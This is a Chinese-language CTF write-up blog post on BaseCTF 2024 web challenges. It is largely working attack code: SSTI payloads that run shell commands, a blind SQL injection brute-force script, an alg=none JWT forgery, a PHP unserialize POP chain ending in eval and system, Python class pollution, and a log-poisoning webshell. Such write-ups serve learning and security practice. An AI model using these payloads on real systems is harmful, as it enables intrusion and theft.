if __name__ == '__main__':

message_len = int(input("[>] Input known text length: "))
known_hash = input("[>] Input known hash: ").strip()
append_text = input("[>] Input append text: ").strip().encode()

print("[*] Attacking...")

extend_str, final_hash = attack(message_len, known_hash, append_text)

from urllib.parse import quote
from base64 import b64encode

print("[+] Extend text:", extend_str)
print("[+] Extend text (URL encoded):", quote(extend_str))
print("[+] Extend text (Base64):", b64encode(extend_str).decode())
print("[+] Final hash:", final_hash)

通过对源码的分析得知random的长度应该是96

dongmd5

然后填入就好了

dongmd51

week3

web

ez_php_jail

这题搜一下其实挺有意思的,应该是从这篇文章进行微调出的题目,ringzer0 CTF - Jail Escaping PHP,具体应该是对应level4的那个题目

打开查看源码进行base64解密,进入可以查看phpinfo(),得到了php版本是7.4,以及一些disable_functions

直接利用文章构造payload,其外根据php特性,在php小于8的情况下_是直接转化成.可以利用[进行绕过

1
?Jail[by.Happy=highlight_file(glob("/f*")[0]);

复读机

有过滤的,手测一下

{{` `+` `-` `*` `}} " : \ / __ .,接下来就是正常的RCE就行了

1
BaseCTF{%print(''['_''_cla''ss_''_']['_''_m''ro_''_'][1]['_''_subcl''asses_''_']()[137])%}

可以利用BaseCTF<class 'os._wrap_close'>

1
BaseCTF{%print(''['_''_cla''ss_''_']['_''_m''ro_''_'][1]['_''_subcl''asses_''_']()[137]['_''_in''it_''_']['_''_gl''obals_''_']['po''pen']('env')['re''ad']())%}

看看环境,已知不能使用/,可以切换根目录再读取

1
BaseCTF{%print(''['_''_cla''ss_''_']['_''_m''ro_''_'][1]['_''_subcl''asses_''_']()[137]['_''_in''it_''_']['_''_gl''obals_''_']['po''pen']('cd $OLDPWD;cat flag')['re''ad']())%}

滤个不停

这题和ctfshow的web4基本差不多,一开始我以为要从伪协议入手,还是要求的是服务器日志,用的是Nginx,存放在/var/log/nginx/access.log里面,让Datch赋值这个,然后在UA头里写马就行了

滤个不停

玩原神玩的

这题其实还是能研究很多的,我写代码的能力一直挺一般的,这个还是稍微考究一些

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
highlight_file(__FILE__);
error_reporting(0);

include 'flag.php';
if (sizeof($_POST['len']) == sizeof($array)) {
ys_open($_GET['tip']);
} else {
die("错了!就你还想玩原神?❌❌❌");
}

function ys_open($tip) {
if ($tip != "我要玩原神") {
die("我不管,我要玩原神!😭😭😭");
}
dumpFlag();
}

function dumpFlag() {
if (!isset($_POST['m']) || sizeof($_POST['m']) != 2) {
die("可恶的QQ人!😡😡😡");
}
$a = $_POST['m'][0];
$b = $_POST['m'][1];
if(empty($a) || empty($b) || $a != "100%" || $b != "love100%" . md5($a)) {
die("某站崩了?肯定是某忽悠干的!😡😡😡");
}
include 'flag.php';
$flag[] = array();
for ($ii = 0;$ii < sizeof($array);$ii++) {
$flag[$ii] = md5(ord($array[$ii]) ^ $ii);
}

echo json_encode($flag);
}

先看第一层写脚本爆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

url = 'http://challenge.basectf.fun:23955/'

ans = None

for i in range(1, 100):
payload = {f'len[{j}]': '0' for j in range(i)}
response = requests.post(url, data=payload)
print(response.text.splitlines()[-1])
last_line = response.text.splitlines()[-1]

if "我不管,我要玩原神!😭😭😭" in last_line:
print(f'Success with {i} parameters!')
ans = i
break
if ans:
payload_str = '&'.join([f'len[{j}]=0' for j in range(ans)])
print(payload_str)

第二层输入?tip=我要玩原神

第三层直接输入需要url编码

1
m[0]=100%25&m[1]=love100%2530bd7ce7de206924302499f197c7a966

最后一层

  1. 已知每个加密字符串 enc[i] 是由字符的 ASCII 值和索引 i 异或后的结果再进行 md5 哈希得到的
  2. 通过暴力破解的方法
    • 对每个加密的哈希值 enc[i],尝试所有可能的字符(ASCII值从0到126)。
    • 计算这些字符与其索引 i 异或后的值,并对该值进行 md5 哈希。
    • 如果哈希结果与 enc[i] 相同,说明找到了正确的字符。
  3. **最终结果是解密后的字符串 flag**。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from hashlib import md5
enc = [
"3295c76acbf4caaed33c36b1b5fc2cb1", "26657d5ff9020d2abefe558796b99584",
"73278a4a86960eeb576a8fd4c9ec6997", "ec8956637a99787bd197eacd77acce5e",
"e2c420d928d4bf8ce0ff2ec19b371514", "43ec517d68b6edd3015b3edc9a11367b",
"ea5d2f1c4608232e07d3aa3d998e5135", "c8ffe9a587b126f152ed3d89a146b445",
"072b030ba126b2f4b2374f342be9ed44", "f457c545a9ded88f18ecee47145a72c0",
"698d51a19d8a121ce581499d7b701668", "c0c7c76d30bd3dcaefc96f40275bdc0a",
"9a1158154dfa42caddbd0694a4e9bdc8", "a3c65c2974270fd093ee8a9bf8ae7d0b",
"b53b3a3d6ab90ce0268229151c9bde11", "072b030ba126b2f4b2374f342be9ed44",
"7f39f8317fbdb1988ef4c628eba02591", "d67d8ab4f4c10bf22aa353e27879133c",
"5ef059938ba799aaa845e1c2e8a762bd", "1c383cd30b7c298ab50293adfecb7b18",
"a5771bce93e200c36f7cd9dfd0e5deaa", "9f61408e3afb633e50cdf1b20de6f466",
"e369853df766fa44e1ed0ff613f563bd", "e369853df766fa44e1ed0ff613f563bd",
"6c8349cc7260ae62e3b1396831a8398f", "a0a080f42e6f13b3a2df133f073095dd",
"b53b3a3d6ab90ce0268229151c9bde11", "a0a080f42e6f13b3a2df133f073095dd",
"6c8349cc7260ae62e3b1396831a8398f", "069059b7ef840f0c74a814ec9237b6ec",
"f7177163c833dff4b38fc8d2872f1ec6", "c0c7c76d30bd3dcaefc96f40275bdc0a",
"c74d97b01eae257e44aa9d5bade97baf", "37693cfc748049e45d87b8c7d8b9aacd",
"37693cfc748049e45d87b8c7d8b9aacd", "02e74f10e0327ad868d138f2b4fdd6f0",
"e2c420d928d4bf8ce0ff2ec19b371514", "7cbbc409ec990f19c78c75bd1e06f215",
"ea5d2f1c4608232e07d3aa3d998e5135", "14bfa6bb14875e45bba028a21ed38046",
"ad61ab143223efbc24c7d2583be69251", "6ea9ab1baa0efb9e19094440c317e21b",
"d1fe173d08e959397adf34b1d77e88d7", "d1fe173d08e959397adf34b1d77e88d7",
"43ec517d68b6edd3015b3edc9a11367b"
]
flag=''
for i in range(45):
for c in range(127):
if(md5(str(c^i).encode()).hexdigest()==enc[i]):
flag+=chr(c)
break
print(flag)

代码自行修改就可以得到flag了

week4

web

flag直接读取不就行了?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file('index.php');
# 我把flag藏在一个secret文件夹里面了,所以要学会遍历啊~
error_reporting(0);
$J1ng = $_POST['J'];
$Hong = $_POST['H'];
$Keng = $_GET['K'];
$Wang = $_GET['W'];
$dir = new $Keng($Wang);
foreach($dir as $f) {
echo($f . '<br>');
}
echo new $J1ng($Hong);
?>

读取目录可以利用DirectoryIterator进行读取,逐层遍历得到具体位置

1
?K=DirectoryIterator&W=../../../secret

然后post读取就可以得到flag了,需要看源码

1
J=SplFileObject&H=../../../secret/f11444g.php

圣钥之战1.0

考察python原型链的知识,以前没写过刚好帮我入了门,先上源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

def is_json(data):
try:
json.loads(data)
return True
except ValueError:
return False

class cls():
def __init__(self):
pass

instance = cls()

@app.route('/', methods=['GET', 'POST'])
def hello_world():
return open('/static/index.html', encoding="utf-8").read()

@app.route('/read', methods=['GET', 'POST'])
def Read():
file = open(__file__, encoding="utf-8").read()
return f"J1ngHong说:你想read flag吗?
那么圣钥之光必将阻止你!
但是小小的源码没事,因为你也读不到flag(乐)
{file}
"

@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
if request.is_json:
merge(json.loads(request.data),instance)
else:
return "J1ngHong说:钥匙圣洁无暇,无人可以污染!"
return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?"

if __name__ == '__main__':
app.run(host='0.0.0.0',port=80)

原理先按下不表,之后会出一篇文章学习一下原型链,主要是先写题目。大致就是利用merge函数来修改父类的属性

思路是利用/read下的__file__进行读取flag,想要利用这个,需要通过/pollute的传参就是污染,用merge对这个进行修改,同时__file__变量是一个全局值,就可以用上面写到的__globals__函数来获取全局变量并进行修改

zhan1

注意的是需要添加头,否则不能读取成功Content-Type: application/json

之后在/read刷新一下就出flag了,不能理解的看一下代码原理。

zhan2

only one sql

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/select|;|@|\n/i', $sql)) {
die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
die("你知道的,不可能有RCE");
}
//flag in ctf.flag
$query = "mysql -u root -p123456 -e \"use ctf;select '没有select,让你执行一句又如何';" . $sql . "\"";
system($query);

首先执行show databases爆库看看,再执行爆表

sql1

猜测应该在flag里,执行一下爆列show columns from flag

sql2

猜测在data里面,题目把正常的select给过滤了,提醒了盲注,本人sql其实不算擅长,根据官p来吧,正常的flag格式是B来头,我们可以利用delete和时间盲注进行探测,比如

1
?sql=delete from flag where data like 'B%' and sleep(5)

DELETE FROM flag:从 flag 表中删除记录。WHERE data LIKE 'B%':条件为 data 字段的值以字母 B 开头的记录会被选中。检测是否有B开头的.SLEEP(5) 会让数据库等待 5 秒再继续执行。最后写个脚本等慢慢跑出来就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import string

char = string.ascii_lowercase + string.digits + '-' + '{}'
flag = ''
for i in range(0, 100):
for c in char:
url = f'http://challenge.basectf.fun:28963/?sql=delete%20from%20flag%20where%20data%20like%20%27{flag}{c}%25%27%20and%20sleep(5)'
try:
response = requests.get(url, timeout=4)
except requests.exceptions.Timeout:
print(flag + c) # 输出已猜出的 flag 部分
flag += c # 将正确的字符加入 flag
break # 进入下一个字符的猜测

No JWT

和平常写的jwt有点不太一样

接口需要一个包含角色为 admin 的 JWT 令牌才能返回 flag。为了得到 flag,需要伪造一个 JWT 令牌,绕过服务器端的角色检查。

签名验证已被禁用,可以伪造一个 JWT 令牌,其中 role 设置为 admin。接下来就是构造这个伪造的 JWT 令牌并发送请求到 /flag 接口。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import base64
import json
import requests

flag_url = 'http://challenge.basectf.fun:30617/flag'

header = {
"alg": "none", # 禁用签名验证
"typ": "JWT"
}
payload = {
"sub": "admin",
"role": "admin", # 设置为 admin
"exp": 9999999999 # 过期时间设置在未来
}
# 对 header 和 payload 进行 Base64 编码
header_enc = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip("=")
payload_enc = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip("=")

fake_jwt = f"{header_enc}.{payload_enc}."

headers = {
'Authorization': f'Bearer {fake_jwt}'
}

response = requests.get(flag_url, headers=headers)

# 打印服务器响应
print("服务器响应状态码:", response.status_code)
print("服务器响应内容:", response.text)

Fin

web

1z_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
highlight_file('index.php');
# 我记得她...好像叫flag.php吧?
$emp=$_GET['e_m.p'];
$try=$_POST['try'];
if($emp!="114514"&&intval($emp,0)===114514)
{
for ($i=0;$i<strlen($emp);$i++){
if (ctype_alpha($emp[$i])){
die("你不是hacker?那请去外场等候!");
}
}
echo "只有真正的hacker才能拿到flag!"."<br>";

if (preg_match('/.+?HACKER/is',$try)){
die("你是hacker还敢自报家门呢?");
}
if (!stripos($try,'HACKER') === TRUE){
die("你连自己是hacker都不承认,还想要flag呢?");
}

$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
if(stripos($b,'php')!==0){
die("收手吧hacker,你得不到flag的!");
}
echo (new $a($b))->$c();
}
else
{
die("114514到底是啥意思嘞?。?");
}
# 觉得困难的话就直接把shell拿去用吧,不用谢~
$shell=$_POST['shell'];
eval($shell);
?>

第一层对emp进行传值,用小数点就可以绕过,注意php特性

1
e[m.p=114514.111

第二层非贪婪绕过,可以去看看p神的文章,了解一下原理,PHP利用PCRE回溯次数限制绕过某些安全限制,只需要给HACKER前面加100w个就行了(ps:我没测最小值需要多少,直接量大管饱了)post发包

1
2
3
payload = b'a' * 1000000+ b'HACKER'

print(payload)

第三层进行原生类的读取,简要的介绍gpt来写

SplFileObject 是 PHP 的一个内置类,继承自 SplFileInfo,用于处理文件的读写操作。它提供了许多方法来操作文件,类似于文件处理的面向对象接口。

使用 SplFileObject 的常见方法:

  • fgets(): 读取文件的一行。
  • fwrite(): 写入内容到文件。
  • fgetc(): 读取文件的一个字符。

php://stdin 是一个 PHP 的流包装器,表示标准输入流。这通常用于从命令行或其他输入流读取数据。

  • php://stdin 允许你读取从标准输入传入的数据,例如,通过命令行管道传递的数据。

fgets()SplFileObject 提供的一个方法,用于从文件中读取一行。结合 php://stdin,它可以读取从标准输入传入的数据。

1
a=SplFileObject&b=php://stdin&c=fgets

最后在post后面执行system('cat flag.php');就可以得到flag,看源码

ez_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php
highlight_file(__file__);
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}

class Hacker{
public $start;
public $end;
public $username="hacker";
public function __construct($start){
$this->start=$start;
}
public function __wakeup(){
$this->username="hacker";
$this->end = $this->start;
}

public function __destruct(){
if(!preg_match('/ctfer/i',$this->username)){
echo 'Hacker!';
}
}
}

class C{
public $c;
public function __toString(){
$this->c->c();
return "C";
}
}

class T{
public $t;
public function __call($name,$args){
echo $this->t->t;
}
}
class F{
public $f;
public function __get($name){
return isset($this->f->f);
}

}
class E{
public $e;
public function __isset($name){
($this->e)();
}

}
class R{
public $r;

public function __invoke(){
eval($this->r);
}
}

if(isset($_GET['ez_ser.from_you'])){
$ctf = new Hacker('{{{'.$_GET['ez_ser.from_you'].'}}}');
if(preg_match("/\[|\]/i", $_GET['substr'])){
die("NONONO!!!");
}
$pre = isset($_GET['substr'])?$_GET['substr']:"substr";
$ser_ctf = substrstr($pre."[".serialize($ctf)."]");
$a = unserialize($ser_ctf);
throw new Exception("杂鱼~杂鱼~");
}

晨曦✌出的太狠了,简单的先分析一下pop链,一下是依次触发的情况

1
Hacker::__destruct => C::__toString => T::__call => F::__get => E::__isset => R::__invoke

接着考虑绕过__wakeup,使用&进行引用就可以绕过

需要注意的是由于最后有throw new Exception("杂鱼~杂鱼~");让__destruct不能正常触发,需要使用gc回收机制,参考GC回收机制,

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php

class Hacker{
public $start;
public $end;
public $username="hacker";
public function __wakeup(){
$this->username="hacker";
$this->end = $this->start;
}

public function __destruct(){
if(!preg_match('/ctfer/i',$this->username)){
echo 'Hacker!';
}
}
}

class C{
public $c;
public function __toString(){
$this->c->c();
return "C";
}
}

class T{
public $t;
public function __call($name,$args){
echo $this->t->t;
}
}
class F{
public $f;
public function __get($name){
return isset($this->f->f);
}

}
class E{
public $e;
public function __isset($name){
($this->e)();
}

}
class R{
public $r;

public function __invoke(){
eval($this->r);
}
}
$exp=new Hacker();
$exp->end=&$exp->username;
$exp->start=new C;
$exp->start->c=new T;
$exp->start->c->t=new F;
$exp->start->c->t->f=new E;
$exp->start->c->t->f->e=new R;
$exp->start->c->t->f->e->r="system('ls');";
$orange=array('1'=>$exp,'2'=>null);
echo serialize($orange);

得到的答案需要在本地测试一下前面的内容

ez

然后前面的需要进行字符串逃逸,这里不再赘婿,可以看我文章,

ez-1

测出长度是

1
2
?substr=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%9f
&ez[ser.from_you=a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:15:"system('ls /');";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}
1
2
?substr=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%9f
&ez[ser.from_you=a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:20:"system('cat /flag');";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}

cx师傅又让我学到了

Jinja Mark

在/flag里面可以fuzz一下得到提示,不确定这个是动态还是静态的,最好自己bp跑一下

1
lucky_number=5346
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
BLACKLIST_IN_index = ['{','}']
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
@app.route('/magic',methods=['POST', 'GET'])
def pollute():
if request.method == 'POST':
if request.is_json:
merge(json.loads(request.data), instance)
return "这个魔术还行吧"
else:
return "我要json的魔术"
return "记得用POST方法把魔术交上来"

得到了提示,index禁用了花括号,然后这是一个python原生类的题目~暂时没思路了,是要通过原生类进行ssti,还是通过这个进行简单的花括号绕过呢

续言:没错就是进行简单的花括号绕过,用其他代替就好了jinja_env 配置了 Jinja2 的模板引擎环境,通过修改 variable_start_stringvariable_end_string 来控制模板变量的起始和结束符号。只是我知识面比较窄而已,利用post发包

1
2
3
4
5
6
7
8
9
10
11
12
{
"__init__": {
"__globals__": {
"app": {
"jinja_env": {
"variable_start_string": "<<",
"variable_end_string": ">>"
}
}
}
}
}
1
Content-Type: application/json

最后直接在对应的界面进行简单的ssti注入就行了

1
<<"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat flag').read()>>

Back to the future

一时间没想起来怎么写,在nss刷题的时候突然就想起来了,默认去看一下robots.txt,通常不要扫描的都在这里,提醒的是.git然后用githacker这个工具进行恢复,利用git reset –hard 第二个恢复flag

续:有师傅和我说githack不能直接得到,我用的是gitdumper下来再用githacker的,也可以按这么来。

RCE or Sql Inject

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/se|ec|;|@|del|into|outfile/i', $sql)) {
die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
die("你知道的,不可能有RCE");
}
$query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"";
system($query); ctfer! You can't succeed this time! hahaha ctfer! You can't succeed this time! hahaha

学习学习吧,给的hint告诉了这题其实已经是rce的题目了

R! C! E! mysql远程连接和命令行操作是不是有些区别呢 输个问号看看?

本地mysql连接输入?看看有一行可以注意到(我在物理机测试上并没有,可能是版本问题,之后会在vps上测一下)

1
system (\!) Execute a system shell command.

那么就是使用system或者\!执行一个system shell命令

1
?sql=%0asystem env

冷知识+1

Sql Inject or RCE

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/se|ec|st|;|@|delete|into|outfile/i', $sql)) {
die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
die("你知道的,不可能有RCE");
}
$query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"";
system($query); ctfer! You can't succeed this time! hahaha ctfer! You can't succeed this time! hahaha

在上一题的基础上过滤了system,并且把过滤的del变成了delete,所以可以考虑从del这方面入手。

DELIMITER 是一个用于改变 SQL 语句结束符的命令,通常用于定义存储过程、触发器或函数时,因为这些语句内部会使用 ;,而 ; 也是 MySQL 默认的语句结束符。简单的说可以把DELIMITER当作;,但是我们可以自定义这个。

handler是MySQL特有的,可以逐行浏览某个表中的数据,格式:

打开表:HANDLER 表名 OPEN ;

查看数据: HANDLER 表名 READ next;

关闭表: HANDLER 表名 READ CLOSE;

1
?sql=%0adelimiter orange%0a handler flag openorange%0ahandler flag read next

实际执行的是

1
2
3
delimiter orange
handler flag openorange
handler flag read next

Lucky Number

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from flask import Flask,request,render_template_string,render_template
from jinja2 import Template
import json
import heaven
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class cls():
def __init__(self):
pass

instance = cls()

BLACKLIST_IN_index = ['{','}']
def is_json(data):
try:
json.loads(data)
return True
except ValueError:
return False

@app.route('/m4G1c',methods=['POST', 'GET'])
def pollute():
if request.method == 'POST':
if request.is_json:
merge(json.loads(request.data), instance)
result = heaven.create()
message = result["message"]
return "这个魔术还行吧
" + message
else:
return "我要json的魔术"
return "记得用POST方法把魔术交上来"


#heaven.py

def create(kon="Kon", pure="Pure", *, confirm=False):
if confirm and "lucky_number" not in create.__kwdefaults__:
return {"message": "嗯嗯,我已经知道你要创造东西了,但是你怎么不告诉我要创造什么?", "lucky_number": "nope"}
if confirm and "lucky_number" in create.__kwdefaults__:
return {"message": "这是你的lucky_number,请拿好,去/check下检查一下吧", "lucky_number": create.__kwdefaults__["lucky_number"]}

return {"message": "你有什么想创造的吗?", "lucky_number": "nope"}

也是一道原生类的题目orz

从已知的代码进行分析,在heaven.py里有create函数的__kwdefaults__,同时还需要confirm是true.涉及动态加载模块或处理模块之间的依赖时,需要sys.modules 来访问已经加载的模块.回到代码中并没有导入sys模组,这时可以利用python的内置函数__spec__.包含了关于类加载时的信息,定义在Lib/importlib/_bootstrap.py的类ModuleSpec,所以可以直接采用<模块名>.spec.init.globals[‘sys’]获取到sys模块,此处就可以使用json模块获取.(以上跟着官p学的,我还没学这么多orz)

1
Content-Type: application/json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

{
"__init__": {
"__globals__": {
"json":{
"__spec__":{
"__init__" : {
"__globals__" : {
"sys" : {
"modules" : {
"heaven" : {
"create" : {
"__kwdefaults__" : {
"confirm" : true,
"lucky_number" : "5346"
}
}
}
}
}
}
}
}
}
}
}
}

然后会变成快去/ssSstTti1注入吧

然后就是普通的无过滤的ssti注入

1
{{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat flag').read()}}

Just Readme

官p给的是ambionics/cnext-exploitsCNEXT 的漏洞(CVE-2024-2961)


Basectf2024
https://0ran9ewww.github.io/2024/08/21/basectf/basectf2024/
作者
orange
发布于
2024年8月21日
许可协议